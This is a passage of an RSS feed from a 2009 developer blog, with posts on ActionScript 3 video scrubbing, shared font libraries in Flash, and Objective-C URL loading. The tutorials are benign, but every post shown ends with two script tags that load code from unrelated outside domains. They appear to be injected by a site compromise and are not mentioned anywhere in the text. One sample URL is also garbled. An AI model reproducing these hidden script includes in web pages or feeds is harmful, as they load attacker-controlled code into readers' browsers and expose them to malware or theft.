			<content:encoded><![CDATA[<p>The one day I wish I had a triple.</p>
<p><a href="http://ericmcconkie.com/v2/wp-content/uploads/2009/10/l_2048_1536_024ABE10-1A91-4C8F-9E4D-D8B7EDC85566.jpeg"><img src="http://ericmcconkie.com/v2/wp-content/uploads/2009/10/l_2048_1536_024ABE10-1A91-4C8F-9E4D-D8B7EDC85566.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
<p><script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/10/diablo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>scrubbing video [NetStream]</title>
		<link>http://ericmcconkie.com/v2/2009/10/scrubbing-video-netstream/</link>
		<comments>http://ericmcconkie.com/v2/2009/10/scrubbing-video-netstream/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 21:53:11 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Lab Work]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[math]]></category>

		<guid isPermaLink="false">http://hmmm.ericmcconkie.com/?p=15</guid>
		<description><![CDATA[I always like to do my video players from the ground up&#8230;i guess it&#8217;s just my style. I have used often the FLVPlayback, but there is a satisfaction in creating your own player.  One thing that always plays with my head is the scrubbing. It&#8217;s the actual Math that gets me, and generally, i [...]]]></description>
			<content:encoded><![CDATA[<p>I always like to do my video players from the ground up&#8230;i guess it&#8217;s just my style. I have used often the FLVPlayback, but there is a satisfaction in creating your own player.  One thing that always plays with my head is the scrubbing. It&#8217;s the actual Math that gets me, and generally, i get it after a few tries&#8230;but never on the first (much like the custom scrollbar) .<span id="more-15"></span></p>
<p>Using the simplest of all examples, i am going to break down how to scrub a video using a track [simple movie clip looking like a bar] as a bottom layer, and another bar of same size, on a layer above. The goal here is to scrub video forward or backward, have the track represent loading, and the  bar  ontop be your &#8216;playhead&#8217; (where you are in current time in the video). Variables you need before you click play are:</p>
<ul>
<li>duration of the NetStream (total time of the video, found through your NetStream.client &#8217;s onMetaData handler)</li>
<li>time of the NetStream- exactly what second you are on in the streaming video</li>
<li>original length of the loadbar and scrub bar before the NetStream plays</li>
</ul>
<p>I will assume we know how to load the NetStream and get it running. Genereally, in my video player, i initiate all that upfront&#8230;but before i get there, in my <em>init</em> funciton, i throw in another function used to simply <em>id</em> the loadbar, scrubbar, etc. :</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"> <span style="color: #009900;">//ID objects on stage FUNCTIONS------------------------------------------&amp;gt;&amp;gt;&amp;gt;</span>
&nbsp;
<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> defineContents<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #009900;">//id each loadbr=this.getChildByName('loadbar') as MovieClip;</span>
 loadbr.<span style="color: #004993;">buttonMode</span>=<span style="color: #0033ff; font-weight: bold;">true</span>;
scrub=<span style="color: #0033ff; font-weight: bold;">this</span>.<span style="color: #004993;">getChildByName</span><span style="color: #000000;">&#40;</span><span style="color: #990000;">'scrubber'</span><span style="color: #000000;">&#41;</span> <span style="color: #0033ff; font-weight: bold;">as</span> <span style="color: #004993;">MovieClip</span>;
scrub.<span style="color: #004993;">buttonMode</span>=<span style="color: #0033ff; font-weight: bold;">true</span>; originalWidth=loadbr.<span style="color: #004993;">width</span> <span style="color: #009900;">//initilize</span>
scrub.<span style="color: #004993;">scaleX</span>=<span style="color: #000000; font-weight:bold;">0</span>;
<span style="color: #009900;">//add listeners</span>
loadbr.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_DOWN</span>,mousedown<span style="color: #000000;">&#41;</span>;
scrub.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">MouseEvent</span>.<span style="color: #004993;">MOUSE_DOWN</span>,mousedown<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>The function introduces the class to these display objects&#8230;as well, it adds an event listener to respond to mouse clicks.(These handlers will be the initiators of the scrub)<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/10/scrubbing-video-netstream/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>shared font library, programatic textfields, and css</title>
		<link>http://ericmcconkie.com/v2/2009/09/shared-font-library-programatic-textfields-and-css/</link>
		<comments>http://ericmcconkie.com/v2/2009/09/shared-font-library-programatic-textfields-and-css/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 19:59:06 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Lab Work]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Actionscript 3]]></category>
		<category><![CDATA[embedFont]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[fonts]]></category>
		<category><![CDATA[share library]]></category>
		<category><![CDATA[text]]></category>

		<guid isPermaLink="false">http://hmmm.ericmcconkie.com/?p=127</guid>
		<description><![CDATA[recently, i was tasked to do a gallery of images with captions. A few cavates to the request:

 we must use a shared library.
we can not embed fonts to the working fla
captions must be html enabled

&#8230;and so begins the dissection of Flash and Fonts
I was remoting the objects so didn&#8217;t have to think about xml, and [...]]]></description>
			<content:encoded><![CDATA[<p>recently, i was tasked to do a gallery of images with captions. A few cavates to the request:</p>
<ol>
<li> we must use a shared library.</li>
<li>we can not embed fonts to the working fla</li>
<li>captions must be html enabled</li>
</ol>
<p>&#8230;and so begins the dissection of Flash and Fonts<span id="more-155"></span></p>
<p>I was remoting the objects so didn&#8217;t have to think about xml, and getting all the data silky smooth. The problem i was encountering was the captions box. Essentially, in my class, i had a generic method that would allow me to create a textfield, and apply all the necessary properties in one command. The method looked like this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> makeTextField<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">TextField</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> tf<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">TextField</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">TextField</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #0033ff; font-weight: bold;">with</span><span style="color: #000000;">&#40;</span>tf<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #004993;">width</span> = <span style="color: #000000; font-weight:bold;">210</span>;
<span style="color: #004993;">autoSize</span> = <span style="color: #990000;">'left'</span>;
<span style="color: #004993;">wordWrap</span> = <span style="color: #0033ff; font-weight: bold;">true</span>;
<span style="color: #004993;">styleSheet</span> = AssetLoader.instance.css; <span style="color: #009900;">//SINGLETON from earlier, holding my stylesheet, xml, and few other things</span>
<span style="color: #004993;">embedFonts</span> = <span style="color: #0033ff; font-weight: bold;">true</span>;
<span style="color: #004993;">antiAliasType</span> = <span style="color: #004993;">AntiAliasType</span>.<span style="color: #004993;">ADVANCED</span>;
<span style="color: #000000;">&#125;</span><span style="color: #0033ff; font-weight: bold;">return</span> tf;
<span style="color: #000000;">&#125;</span>
<span style="color: #009900;">//later in my code</span>
textfieldintance.<span style="color: #004993;">htmlText</span> = myHTMLText; <span style="color: #009900;">//html formated text</span></pre></div></div>

<p>fine and dandy, however, on compile i was getting a blank. Going back, i removed the embedFonts to make sure i was populating well, and sure enough, i was. So begins the debugging. I found that if embeded a text field with the font on the stage, things looked good. However, this was not an option as i need to use a shared library. Enter fix in a nut shell</p>
<ol>
<li>in the shared lib, give class names to the fonts&#8230;make them simple . We were using the Futura font, so i called it Sans</li>
<li>place and instance on stage of your font, emebeded</li>
<li>compile</li>
<li>import in your working fla</li>
<li>ApplicationDomain is your friend (see new method below)</li>
<li>Font.registerFont(fontCLASSName) is your other friend (again, see below)</li>
</ol>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #339966; font-weight: bold;">function</span> makeTextField<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">TextField</span>
<span style="color: #000000;">&#123;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> fontLibrary = AssetLoader.instance.getAssetById<span style="color: #000000;">&#40;</span><span style="color: #990000;">&quot;fontLibrary&quot;</span><span style="color: #000000;">&#41;</span>;<span style="color: #009900;">//font library swf imported earlier</span>
<span style="color: #6699cc; font-weight: bold;">var</span> ThisFont<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Class</span> = fontLibrary.<span style="color: #004993;">contentLoaderInfo</span>.<span style="color: #004993;">applicationDomain</span>.<span style="color: #004993;">getDefinition</span><span style="color: #000000;">&#40;</span><span style="color: #990000;">'Sans'</span><span style="color: #000000;">&#41;</span> <span style="color: #0033ff; font-weight: bold;">as</span> <span style="color: #004993;">Class</span>; <span style="color: #009900;">//ApplicationDomain to get the CLASS NAME (font was Futura, but class was Sans...remember?</span>
<span style="color: #6699cc; font-weight: bold;">var</span> ThisFontBold<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Class</span> = fontLibrary.<span style="color: #004993;">contentLoaderInfo</span>.<span style="color: #004993;">applicationDomain</span>.<span style="color: #004993;">getDefinition</span><span style="color: #000000;">&#40;</span><span style="color: #990000;">'SansBold'</span><span style="color: #000000;">&#41;</span> <span style="color: #0033ff; font-weight: bold;">as</span> <span style="color: #004993;">Class</span>;<span style="color: #009900;">//the bold version</span>
<span style="color: #004993;">Font</span>.<span style="color: #004993;">registerFont</span><span style="color: #000000;">&#40;</span>ThisFont<span style="color: #000000;">&#41;</span>;
<span style="color: #004993;">Font</span>.<span style="color: #004993;">registerFont</span><span style="color: #000000;">&#40;</span>ThisFontBold<span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> <span style="color: #004993;">font</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Font</span> = <span style="color: #0033ff; font-weight: bold;">new</span> ThisFont<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> fontbold<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Font</span> = <span style="color: #0033ff; font-weight: bold;">new</span> ThisFontBold<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;<span style="color: #009900;">//this instance is only needed because i wanted to trace the note below for future debuggin</span>
<span style="color: #004993;">trace</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">font</span>.<span style="color: #004993;">fontName</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #990000;">&quot; &amp;amp; &quot;</span><span style="color: #000000; font-weight: bold;">+</span>fontbold.<span style="color: #004993;">fontName</span><span style="color: #000000; font-weight: bold;">+</span><span style="color: #990000;">&quot; is the font from the Font Library and SHOULD BE the font name in the stylesheet -<span style="">\r</span> DOUBLE CHECK THIS if you are not seeing text displayed&quot;</span><span style="color: #000000;">&#41;</span>
<span style="color: #6699cc; font-weight: bold;">var</span> tf<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">TextField</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">TextField</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #0033ff; font-weight: bold;">with</span><span style="color: #000000;">&#40;</span>tf<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
<span style="color: #004993;">width</span> = <span style="color: #000000; font-weight:bold;">210</span>;
<span style="color: #004993;">autoSize</span> = <span style="color: #990000;">'left'</span>;
<span style="color: #004993;">wordWrap</span> = <span style="color: #0033ff; font-weight: bold;">true</span>;
<span style="color: #004993;">styleSheet</span> = AssetLoader.instance.css;
<span style="color: #004993;">embedFonts</span> = <span style="color: #0033ff; font-weight: bold;">true</span>;
<span style="color: #004993;">antiAliasType</span> = <span style="color: #004993;">AntiAliasType</span>.<span style="color: #004993;">ADVANCED</span>;
<span style="color: #000000;">&#125;</span>
<span style="color: #0033ff; font-weight: bold;">return</span> tf;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>one thing to note about this, is the trace i put in there. I did this so i could get the font name as FLASH SEES IT. This was key becuase it is the same name you need to use in the  stylesheet:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #6666ff;">.orangeTitle</span>
<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">font-family</span><span style="color: #00AA00;">:</span> Futura Bold Condensed<span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">20</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-weight</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">bold</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#FFB83D</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
p
<span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">font-family</span><span style="color: #00AA00;">:</span> Futura Medium<span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">11</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Flash sees the font as Futura Medium when compiled, but when creating the font library, in the paragraph panel, it simple read Futura. Without knowing the fontName in &#8220;FlashSpeak&#8221;, you will be hitting you head on the wall&#8230;.good luck- i will try to post a sample source later.<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/09/shared-font-library-programatic-textfields-and-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Objective C&#8217;s URLRequest &amp; URLLoader</title>
		<link>http://ericmcconkie.com/v2/2009/07/objective-cs-urlrequest-urlloader/</link>
		<comments>http://ericmcconkie.com/v2/2009/07/objective-cs-urlrequest-urlloader/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 13:20:24 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Lab Work]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Objective C]]></category>

		<guid isPermaLink="false">http://hmmm.ericmcconkie.com/?p=107</guid>
		<description><![CDATA[I am learning ObjectiveC. For the model app in my head, i need the equivilant of what i understand to be a URLRequest and a URLLoader. As well, i need to understand the event callbacks(Event.COMPLETE, IOErrorEvent.IO_ERROR) and how to handle these&#8230;so, off to the Apple Dev Samples. The sample that made sense to me was [...]]]></description>
			<content:encoded><![CDATA[<p>I am learning ObjectiveC. For the model app in my head, i need the equivilant of what i understand to be a URLRequest and a URLLoader. As well, i need to understand the event callbacks(Event.COMPLETE, IOErrorEvent.IO_ERROR) and how to handle these&#8230;so, off to the <a href="http://developer.apple.com/iphone/library/navigation/SampleCode.html">Apple Dev Samples</a>. The sample that made sense to me was the <a href="http://developer.apple.com/iphone/library/samplecode/SeismicXML/index.html">SeismicXML</a> parser. I went straight for the  (.m file) implementation class of SeismicXMLAppDelegate . In there i found the portion of code that seems to pertain to me:</p>
<p><code><br />
static NSString *feedURLString = @"htgggtp://earthquake.usgs.gov/eqcenter/catalogs/7day-M2.5.xml";<br />
NSURLRequest *earthquakeURLRequest = [NSURLRequest requestWithURL:[NSURL URLWithString:feedURLString]];<br />
self.earthquakeFeedConnection = [[[NSURLConnection alloc] initWithRequest:earthquakeURLRequest delegate:self] autorelease];</code></p>
<p>Let&#8217;s walk through it, but first the two equivialant definitions for our URLRequst and URLLoader. In ObjectiveC , we will be working with NSURLRequest and NSURLConnection.</p>
<p>the NSString is the url &#8211; easy. NSURLRequest&#8230;hmmm, that sounds just like AS3&#8217;s URLRequest, doesn&#8217;t it. We declare the variable earthquakeURLRequest as a &#8216;new&#8217; NSURLRequest, and we add in some methods on the fly. (i am learning that this is a key thing about ObjectiveC- it seems to do a lot in a methods in line of code.) So, we instantiate the request, as well as its requestWithURL method, passing in our url string.  In the interface (.h file), we assigned the earthquakeFeedConnection (NSURLConnection) to self (this, in as3). So, we call it to the front (self.earthquakeFeedConnection) and instantiate the class with the famously confusing alloc/init. A key feature that can not be missed is the NSURLConnection needs to konw the delegate, which is the parent class in this case (self)</p>
<p>ok&#8230;so, what about the call backs? Yep, just keep reading Apple&#8217;s Sample code. The first two are the recepients of a response and of data.<br />
<code>- (void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response {<br />
    self.earthquakeData = [NSMutableData data];<br />
}</code></p>
<p><code>- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data {<br />
    [earthquakeData appendData:data];<br />
}</code><br />
then the error (like IOErrorEvent.IO_ERROR):<br />
<code>- (void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error {<br />
    [UIApplication sharedApplication].networkActivityIndicatorVisible = NO;<br />
    if ([error code] == kCFURLErrorNotConnectedToInternet) {<br />
        // if we can identify the error, we can present a more precise message to the user.<br />
        NSDictionary *userInfo = [NSDictionary dictionaryWithObject:NSLocalizedString(@"No Connection Error",                             @"Error message displayed when not connected to the Internet.") forKey:NSLocalizedDescriptionKey];<br />
        NSError *noConnectionError = [NSError errorWithDomain:NSCocoaErrorDomain code:kCFURLErrorNotConnectedToInternet userInfo:userInfo];<br />
        [self handleError:noConnectionError];<br />
    } else {<br />
        // otherwise handle the error generically<br />
        [self handleError:error];<br />
    }<br />
    self.earthquakeFeedConnection = nil;<br />
}</code></p>
<p>and finally, the almighty Event.COMPLETE!<br />
<code>- (void)connectionDidFinishLoading:(NSURLConnection *)connection {<br />
    self.earthquakeFeedConnection = nil;<br />
    [UIApplication sharedApplication].networkActivityIndicatorVisible = NO;<br />
    // Spawn a thread to fetch the earthquake data so that the UI is not blocked while the application parses the XML data.<br />
    //<br />
    // IMPORTANT! - Don't access UIKit objects on secondary threads.<br />
    //<br />
    [NSThread detachNewThreadSelector:@selector(parseEarthquakeData:) toTarget:self withObject:earthquakeData];<br />
    // earthquakeData will be retained by the thread until parseEarthquakeData: has finished executing, so we no longer need<br />
    // a reference to it in the main thread.<br />
    self.earthquakeData = nil;<br />
}</code><br />
i won&#8217;t go to far into this, but there it is&#8230;all but the complete are the connection method of the NSURLConnection class. One thing to note, which i may be wrong, but appears to be the case. In ObjectiveC, the complete event seems more of a clean up. In AS3 i would generally wait for that to move forward with the data. But it appears in ObjectiveC, we start parsing/etc from didRecieveData&#8230;hmm, like i say, it&#8217;s all new to me&#8230;but i had to document this for future reference.<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/07/objective-cs-urlrequest-urlloader/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
